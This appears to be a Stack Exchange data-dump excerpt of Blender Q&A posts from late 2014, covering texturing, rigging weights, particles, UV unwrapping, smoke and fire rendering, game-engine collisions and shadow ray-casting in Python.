  <row Id="21306" PostTypeId="1" AcceptedAnswerId="72617" CreationDate="2014-12-23T14:04:04.537" Score="1" ViewCount="1395" Body="&lt;p&gt;Is it possible to fill certain elements with color or tiled texture? By &quot;element&quot; I mean one island (for example, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; does element/island selection in edit mode) For example, bucket tool in 3DCoat can do it. It is really helpful when texturing.&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="241" LastEditDate="2014-12-23T14:07:57.250" LastActivityDate="2017-04-03T05:19:40.343" Title="How to fill element with color in texture painting?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21307" PostTypeId="2" ParentId="21305" CreationDate="2014-12-23T15:04:20.533" Score="3" Body="&lt;p&gt;There could be two solutions to this problem. However, you can fix this problem easily. Solution #1 Go into the vertex groups menu, select the vertex group  For the bone that is causing your problem,  go into edit mode for your character's object, select only the vertices you don't want to be effected by the bone, and press remove. this will remove any un-wanted vertices from the bone's influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing assign will add any selected vertices to the vertex group with 100% influence.&#xA;Pressing remove will remove any selected vertices from the vertex group's influence&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMHUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution #2 You have no weight for the vertex causing the problem on any of your foot bones. Thus, when you move the Thigh L bone, it moves the lower leg and all the foot bones with it, but because that single vertex has no weight, no bones will move it. to fix this, go into weight paint mode, select an appropriate foot bone, and paint on some weight. Or you can select that vertex, then select the bone's vertex group and click assign.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-07T16:12:54.017" LastActivityDate="2015-03-07T16:12:54.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21308" PostTypeId="1" AcceptedAnswerId="21358" CreationDate="2014-12-23T15:07:57.103" Score="1" ViewCount="532" Body="&lt;p&gt;I am making something with a curve and everything is good but suddenly when I rotate a point all the points rotate with it. How can I make them rotate separately?&#xA;here is before rotation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p1JfC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is after rotation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jSSkx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2014-12-23T17:26:49.320" LastActivityDate="2014-12-24T13:41:59.067" Title="why when I rotate a point in a curve all the points is rotating?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21309" PostTypeId="1" AcceptedAnswerId="21310" CreationDate="2014-12-23T15:32:10.690" Score="6" ViewCount="2133" Body="&lt;p&gt;My particle system doesn't seem to be using the vertex group which I set to effect the density. I am a little bit confused as to why this is happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my blend file &lt;a href=&quot;http://www.pasteall.org/blend/33498&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/33498&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="241" LastEditDate="2014-12-23T16:12:08.733" LastActivityDate="2016-12-05T00:06:26.613" Title="Particle system is not using density vertex group" Tags="&lt;particles&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21310" PostTypeId="2" ParentId="21309" CreationDate="2014-12-23T15:42:41.340" Score="5" Body="&lt;p&gt;This is because you have a 'Multires' modifier above the 'Particle System' modifier, which is altering the geometry. Blender applies the modifiers to the object in the order they are in in the stack (see more &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the vertex group gives &lt;em&gt;specific&lt;/em&gt; vertices weights and the multires modifier &lt;em&gt;changes&lt;/em&gt; those specific vertices, ie more are added, positions are changed etc., the vertex group has changed by the time the particle system 'sees' it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you can either move the particle system modifier above the multires modifier (so the particle system is calculated &lt;em&gt;before&lt;/em&gt; the multires modifier changes the geometry and sees the &lt;em&gt;original&lt;/em&gt; vertices of the mesh) or you can check the 'Use Modifier Stack' checkbox in the 'Emission' section of the particle settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7mRU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Those two different methods will give slightly different results. The 'User Modifier Stack' option will act as though the multires modifier has been &lt;em&gt;applied&lt;/em&gt; to the mesh, so the mesh will be higher resolution, potentially giving a smoother result to the particle emission. If you instead change the modifier order, the particle system will completely &lt;em&gt;ignore&lt;/em&gt; the multires modifier and only use the original, untouched geometry to emit particles from.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2016-12-05T00:06:26.613" LastActivityDate="2016-12-05T00:06:26.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21311" PostTypeId="2" ParentId="21304" CreationDate="2014-12-23T16:21:16.140" Score="4" Body="&lt;p&gt;It looks like blender has trouble performing boolean operation on meshes with large ngons. There is a very easy workaround for this problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the face that will hold the window&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This single polygon has 8 vertices, more than 4 vertices is considered an ngon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HqC9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Triangulate it by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt;, this will make many triangles out of the big ngon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(optional step) With the polygons still selected, you can reduce the number of triangles by converting tris to quads by pressing &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TC3QE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-12-23T16:21:16.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21312" PostTypeId="1" AcceptedAnswerId="21316" CreationDate="2014-12-23T16:29:58.847" Score="4" ViewCount="11666" Body="&lt;p&gt;Could someone explain me what does this statement mean and what option should I click when it pops up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9V6AQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HcbMn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2020-10-27T03:33:31.860" Title="What does 'Autorun disabled' statement mean?" Tags="&lt;cycles-render-engine&gt;&lt;drivers&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21313" PostTypeId="1" AcceptedAnswerId="26414" CreationDate="2014-12-23T16:30:15.587" Score="3" ViewCount="974" Body="&lt;p&gt;I think that Blender might do what I have in mind, but I am not a Blender and Python guru, so I am looking for directions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to determine if a point in space is obscured by an object, i.e. does it cast the shadow over it (there is one source of light, the sun). This has to be done for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;many different objects of different shapes but of similar size: they are fairly simple with just a few surfaces (e.g. a collection of cubes of slightly different sizes and orientations). Each is stored in one OBJ, so there are many OBJs. The analysis should be done one by one.&lt;/li&gt;&#xA;&lt;li&gt;a collection of many points that need to be tested, each has different 3D coordinates. For each point it should be determined if a shadow is cast over it or not, so the result is binary.&lt;/li&gt;&#xA;&lt;li&gt;for a different position of the sun (e.g. 100-200), to mimic the variable position of the sun during the day and throughout the year.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am interested in two things: how to automate this, and is there a function in Blender that determines if a point is obscured or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far is shown below. For the simplicity of the approach let's assume that all points that need to be tested have the same Z coordinate (i.e. they are planar).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for each OBJ:&#xA;    +Load the OBJ&#xA;    +Place a plane at the Z value of the points to be tested&#xA;    for each position of the sun:&#xA;            +Render the image so only the plane with the extent of the shadow is visible&#xA;            (option Cast Only, and the camera is orthogonal and has a top view.)&#xA;            +Export the image&#xA;            +Import the image with an image processing library in Python&#xA;            for each point to be tested is a shadow cast over it:&#xA;                            +Find the pixel in the image that corresponds to&#xA;                            the position of the point&#xA;                            if the pixel value at that point is dark:&#xA;                                   it is obscured&#xA;                            if not:&#xA;                                   it is not obscured&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a better method for this? Please note that the points might have different Z coordinates, so my method is not optimal (it would require multiple planes).&lt;/p&gt;&#xA;" OwnerUserId="9630" LastActivityDate="2015-02-28T19:20:24.693" Title="Using Blender to investigate the cast of shadows from an object onto a specific point in space" Tags="&lt;python&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21314" PostTypeId="2" ParentId="9184" CreationDate="2014-12-23T16:49:29.633" Score="4" Body="&lt;p&gt;You could approach this in a way that I have found relatively decent although it doesn't necessarily achieve the complete result of a cycles material. What you could do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake your material to your model without lighting or just have the scene 100 percent lit. There is a good explanation of this on this page of the forum: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13508/how-do-i-bake-a-texture-using-cycles-bake&quot;&gt;How do I bake a texture using Cycles bake&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What this will accomplish is a model with a diffuse material, but a baked &quot;texture&quot; (UV mapped) version of your material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a complex or semi translucent material then this becomes a bit problematic. As others have mentioned, the raytracing render method that blender uses is far different from the realtime materials used in unity. You have to fake things like reflections and translucency when you bake textures in blender and then transfer them to unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want a basic texture based off your material, you can accomplish that with the method above. &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Then you would export the fbx model along with your baked texture from blender and apply a unity supported realtime shader in unity.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9642" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-12-25T08:52:58.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21315" PostTypeId="2" ParentId="21312" CreationDate="2014-12-23T16:50:23.910" Score="3" Body="&lt;p&gt;By default Auto Run is disabled. It's a safety feature to prevent untrusted code to be executed. To enable it go to User Preferences &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt; and in the File tab check the &lt;strong&gt;Auto Run Python Scripts&lt;/strong&gt; box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vEuEi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-12-23T16:50:23.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21316" PostTypeId="2" ParentId="21312" CreationDate="2014-12-23T16:50:54.260" Score="11" Body="&lt;p&gt;Blender comes bundled with python. Malicious scripts written in python could potentially damage your computer. As a security measure the automatic running of python scripts has been disabled since version 2.6.&lt;/p&gt;&#xA;&lt;p&gt;What this most likely means is that there is a piece of python code that is controlling the driver.&lt;/p&gt;&#xA;&lt;p&gt;You can allow blender to auto run scripts by changing your user preferences. To do this press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;, then head over to &lt;em&gt;File&lt;/em&gt; and enable &lt;em&gt;Auto Run Python Scripts&lt;/em&gt;. Although it is unlikely that someone will distribute a malicious blend file you should still make sure where you download .blend file from&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hDjtO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;More information on &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/scripting/security.html#scripting-security&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scripting &amp;amp; Security&lt;/a&gt; at the official documentation.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="15924" LastEditDate="2020-10-27T03:33:31.860" LastActivityDate="2020-10-27T03:33:31.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21318" PostTypeId="1" CreationDate="2014-12-23T17:05:07.663" Score="1" ViewCount="117" Body="&lt;p&gt;I am working on building a model car. I found that the manipulators won't work. The X, Y, Z axis don't do anything except move my 3D Cursor to where I clicked. I tried the Translation manipulator, Rotation manipulator, and the Scale manipulator. Is there anyway I can fix these manipulators so that they can work again?&lt;/p&gt;&#xA;" OwnerUserId="3477" LastEditorUserId="1476" LastEditDate="2014-12-23T17:14:23.600" LastActivityDate="2014-12-23T17:14:23.600" Title="3d Manipulator not working" Tags="&lt;transforms&gt;" AnswerCount="0" CommentCount="12" ClosedDate="2014-12-23T23:23:50.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="21320" PostTypeId="1" AcceptedAnswerId="21335" CreationDate="2014-12-23T17:31:24.053" Score="4" ViewCount="4514" Body="&lt;p&gt;I am making a game and I want it to not require Blender to be installed in order to play it. Currently it needs 'blenderplayer.app'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Linux Ubuntu 14.10, Blender 2.72b. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2014-12-23T17:52:14.670" LastActivityDate="2014-12-24T12:24:05.410" Title="How to make my standalone game not require blender installation?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21321" PostTypeId="1" CreationDate="2014-12-23T17:32:55.323" Score="1" ViewCount="2359" Body="&lt;p&gt;I recently bought an ASUS N550J with&lt;br&gt;&#xA;i.7 2.4Ghz&lt;br&gt;&#xA;8GB Ram&lt;br&gt;&#xA;4 GB Dedicated VRam GTX 850m&lt;br&gt;&#xA;When I use blender the GPU renderer only renders one tile at a time and the time taken by the GPU is more or less equal to the time taken by the CPU. Sometimes it takes more than the CPU.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried all of your suggestions and it works great!&#xA;It took approx. 3 minutes on CPU and only 1.5 minutes on GPU. I was using the BMW1M Blender Benchmark Model.&lt;/p&gt;&#xA;" OwnerUserId="9643" LastEditorUserId="14" LastEditDate="2014-12-25T01:31:53.857" LastActivityDate="2014-12-25T01:31:53.857" Title="GPU rendering is equal to or slower than CPU rendering" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-05-04T01:39:29.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="21322" PostTypeId="2" ParentId="21301" CreationDate="2014-12-23T17:46:05.860" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;https://blender.stackexchange.com/questions/7673/auto-run-scripts-security-options/7674#7674&quot;&gt;shape keys&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vm9b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model your sword first. Create a base shape key. Then add a new shape key and start deforming it to to the shape of the bar, creating new shape keys along the way. Animate then the shape keys values so that you are left with the base shape key at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yz0Sh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just let the swordsmith do her job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KZLE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example Blend file is &lt;a href=&quot;http://pasteall.org/blend/33500&quot; rel=&quot;nofollow noreferrer&quot;&gt;HERE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-23T19:17:16.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21324" PostTypeId="1" AcceptedAnswerId="21325" CreationDate="2014-12-23T18:46:10.223" Score="5" ViewCount="2214" Body="&lt;p&gt;I can't seem to figure out what setting I'm missing to render fire using blender render [F12]. Can anyone please push me in the right direction? Should I just follow a different tutorial rendering in cycles with the node editor and toss the blender render method? Would it even matter? I seem to be missing a step. I was following along a tutorial from someone using an older version, I believe version 2.6 but I'm not positive on that. I'm thinking something is different with the default settings from their version versus the latest greatest. I tried to catch it on my own in their settings while watching the tutorial but came up short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my problem,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to simulate the smoke and fire in the view port with [Alt A]. I'm able to bake it as well and render the view port but when I have a still shot of the flame and press [F12] for blender render I only see the smoke and not the fire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance to anyone that goes out of their way to help me solve my problem.&lt;/p&gt;&#xA;" OwnerUserId="9629" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:46:59.907" LastActivityDate="2015-11-30T22:46:59.907" Title="Can render smoke &amp; fire in view port with [Alt A] but no fire and only smoke on render [F12]" Tags="&lt;rendering&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21325" PostTypeId="2" ParentId="21324" CreationDate="2014-12-23T18:56:07.543" Score="2" Body="&lt;p&gt;The texture for the domain object doesn't have any coordinate mapping set. Set it to &lt;code&gt;Generated&lt;/code&gt;. Moreover, the colour ramp is a bit off. It has to be fully transparent to the left, or the domain will be completely filled with the left colour. The left is what appears further away from the flow object and the right is what appears closer to it. Personally I prefer to have it completely transparent at the right end as well, but that is my opinion and not a requirement. At the very least, you need to flip the direction of the ramp.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OScLk.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the &lt;code&gt;Flow type&lt;/code&gt; on the flow object needs to be set, depending on what you want.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/n9uTZ.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image it's set to &lt;code&gt;Smoke&lt;/code&gt;. Available options are &lt;code&gt;Fire&lt;/code&gt;, &lt;code&gt;Fire + Smoke&lt;/code&gt;, &lt;code&gt;Smoke&lt;/code&gt; and &lt;code&gt;Outflow&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first three should be self-explanatory. I have never fiddled with the outflow, but if it does the same as in the fluid sim, it should simply absorb the smoke and the flames.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is set to include fire, there's also a &lt;code&gt;Smoke flames&lt;/code&gt; section for the domain object. If you want only fire and no smoke at all, you should set &lt;code&gt;Flow type&lt;/code&gt; to &lt;code&gt;Fire&lt;/code&gt; and set &lt;code&gt;Smoke&lt;/code&gt; under &lt;code&gt;Smoke flames&lt;/code&gt; to 0.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zgRUS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-12-25T12:25:03.810" LastActivityDate="2014-12-25T12:25:03.810" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="21327" PostTypeId="1" AcceptedAnswerId="21330" CreationDate="2014-12-23T19:47:03.227" Score="0" ViewCount="406" Body="&lt;p&gt;I'm trying to unwrap this sign I am modeling but the unwrap is coming out distorted. I've tried converting to triangles as suggested &lt;a href=&quot;https://blender.stackexchange.com/questions/19267/why-does-one-face-appears-so-warped-when-uv-unwraping&quot;&gt;in this&lt;/a&gt; answer... but same result. I've tried making the hole using the Knife tool previously but it made the unwrap even more horrible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33505&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33505&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAEDb.jpg&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Sqru.jpg&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-23T21:37:31.000" Title="Manual Unwrap Warping Seams" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21328" PostTypeId="2" ParentId="21286" CreationDate="2014-12-23T19:52:16.373" Score="2" Body="&lt;h2&gt;Collision Groups and Collision Mask:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zkcqJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Collision groups&lt;/em&gt; are groups of objects generally of the same denomination. You would group objects together based on what their behaviors are, for example; &lt;em&gt;Bullets, rockets, laser beams and explosive duckling all cause damage to a player, I will put them in group one, my damage group.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A group can have any number of objects in it, and any object can be in any amount of groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Collision Mask&lt;/em&gt; is the setting that allows you to choose which groups an object will collide with. &lt;em&gt;I want a certain character to bypass all objects in group one. This includes bullets, rockets, laser beams and explosive ducks, all of which can ruin the invincibility of my character. I&lt;/em&gt; &lt;strong&gt;Deselect&lt;/strong&gt; &lt;em&gt;group one under Collision mask.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects can participate in collisions under any collision group, you can mask/unmask any/all of the groups under this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although these setting appear similar to layers, I could not find any difference in performance when layers were changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I was able to explain what your question asked for, unfortunately I was unable to figure out any way for an static object to be the child of a dynamic object without &quot;Major Freak&quot; aside from enabling &lt;em&gt;Ghost&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-23T19:52:16.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21329" PostTypeId="1" CreationDate="2014-12-23T21:35:34.897" Score="2" ViewCount="815" Body="&lt;p&gt;I've tried experimenting with the amount of samples, the size of the tiles, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think TOO much samples may make it too, like, just too clean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think would be a good preset so you JUST remove the noise, and it (the image) isn't TOTALLY clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to post links due to file size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/bJ5AAnc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/bJ5AAnc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/iiSLf3A&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://imgur.com/iiSLf3A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You see how it's like almost too many samples? I only messed with the blurs and glow effects on PDN, but you know what I mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe its just because I'm visually justified to darker scenes?&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="9583" LastEditDate="2014-12-23T21:55:29.430" LastActivityDate="2014-12-23T22:24:14.107" Title="Too Many Samples = Unrealistic?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="9" ClosedDate="2014-12-24T14:48:20.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="21330" PostTypeId="2" ParentId="21327" CreationDate="2014-12-23T21:37:31.000" Score="2" Body="&lt;p&gt;For this block-shaped object just simply use &lt;strong&gt;cube uv projection&lt;/strong&gt; and re-arange the pieces  like you want in uv editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex shapes unwrap the planar part with &lt;strong&gt;project from view&lt;/strong&gt; so they don't distort, &lt;strong&gt;pin&lt;/strong&gt; them in uv editor with &lt;kbd&gt;P&lt;/kbd&gt; and then unwrap the whole piece with just &lt;strong&gt;Unwrap&lt;/strong&gt; (with setuped seams).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multiple planar parts in your mesh do this multiple times to create uv islands each with undistorted pinned piece inside and then use welding (&lt;kbd&gt;W&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt;) to join the islands. For best results smooth the welds with UV Sculpt's (&lt;kbd&gt;Q&lt;/kbd&gt;) Relax brush.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-23T21:37:31.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21331" PostTypeId="2" ParentId="21313" CreationDate="2014-12-23T22:00:59.980" Score="4" Body="&lt;p&gt;You dont need to render any images or setup any planes. This is what you should do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for each OBJ:&#xA;    +Load the OBJ&#xA;&#xA;for each position of sun:&#xA;    for each point to be tested:&#xA;         +Create a ray starting at point with direction of sun (sun's local Z axis)&#xA;         +Test if ray intersects any of OBJs, if yes:&#xA;             it is obscured&#xA;         if not:&#xA;             it is not obscured&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sun's local Z axis&lt;/code&gt; you get from &lt;em&gt;up_vector=(0,0,1)&lt;/em&gt; and sun's &lt;em&gt;world_matrix&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector&#xA;up = Vector((0,0,1))    # global Z vector&#xA;up.rotate(bpy.context.scene.objects['SUN_NAME_HERE'].matrix_world)&#xA;# up is now sun's local Z axis - the ray direction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The part &lt;code&gt;Test if line intersects any of OBJs&lt;/code&gt; is done by looping over all OBJs triangles and testing &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/mathutils.geometry.html?highlight=intersect_ray_tri#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;mathutils.geometry.intersect_ray_tri()&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your object have lots of triangles test the OBJs bounding box first.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-26T10:28:00.320" LastActivityDate="2014-12-26T10:28:00.320" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
